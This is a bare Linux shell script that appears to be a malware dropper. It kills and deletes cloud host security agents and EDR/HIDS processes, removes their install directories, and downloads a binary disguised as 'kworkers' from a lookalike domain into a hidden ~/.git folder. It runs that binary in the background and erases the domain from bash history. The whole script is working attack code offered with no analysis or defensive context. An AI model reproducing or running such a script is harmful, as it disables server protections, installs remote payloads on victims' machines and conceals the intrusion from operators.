ps aux | grep -v grep | grep 'aegis' | awk '{print $11}' | xargs  dirname  | xargs  rm -rf

ps aux | grep -v grep | grep 'hids' | awk '{print $11}' | xargs  dirname  | xargs  rm -rf

ps aux | grep -v grep | grep 'cloudwalker' | awk '{print $11}' | xargs  dirname  | xargs  rm -rf

ps aux | grep -v grep | grep 'titanagent' | awk '{print $11}' | xargs  dirname  | xargs  rm -rf

ps aux | grep -v grep | grep 'edr' | awk '{print $2}' | xargs  -I {}  kill -9 {}

ps aux | grep -v grep | grep 'aegis' | awk '{print $2}' | xargs  -I {}  kill -9 {}

ps aux | grep -v grep | grep 'Yun' | awk '{print $2}' | xargs  -I {}  kill -9 {}

ps aux | grep -v grep | grep 'hids' | awk '{print $2}' | xargs  -I {}  kill -9 {}

ps aux | grep -v grep | grep 'edr' | awk '{print $2}' | xargs  -I {}  kill -9 {}

ps aux | grep -v grep | grep 'cloudwalker' | awk '{print $2}' | xargs  -I {}  kill -9 {}

ps aux | grep -v grep | grep 'titanagent' | awk '{print $2}' | xargs  -I {}  kill -9 {}

ps aux | grep -v grep | grep 'sgagent' | awk '{print $2}' | xargs  -I {}  kill -9 {}

ps aux | grep -v grep | grep 'barad_agent' | awk '{print $2}' | xargs  -I {}  kill -9 {}

ps aux | grep -v grep | grep 'hostguard' | awk '{print $2}' | xargs  -I {}  kill -9 {}


rm -rf /usr/local/aegis

rm -rf /usr/local/qcloud

rm -rf /usr/local/hostguard/bin



ps aux | grep -v grep | grep 'kworkers' | awk '{print $2}' | xargs  -I {}  kill -9 {}

domainroota=m.windowsupdatesupport.org


mkdir ~/.git

mkdir ./.git

gitdir=~/.git


if [ -d ~/.git ]; then

  gitdir=~/.git

fi

if [ -d ./.git ]; then

  gitdir=./.git

fi


rm -fv $gitdir/.lock


curl  http://$domainroota/d/kworkers -o $gitdir/kworkers

chmod 777 $gitdir/

if [ -e  /.dockerenv ]

then

  $gitdir/kworkers

else

  nohup $gitdir/kworkers >>$gitdir/.log&

fi


sed -i '/$domainroota/d' ~/.bash_history



乐享:知识积累,快乐无限。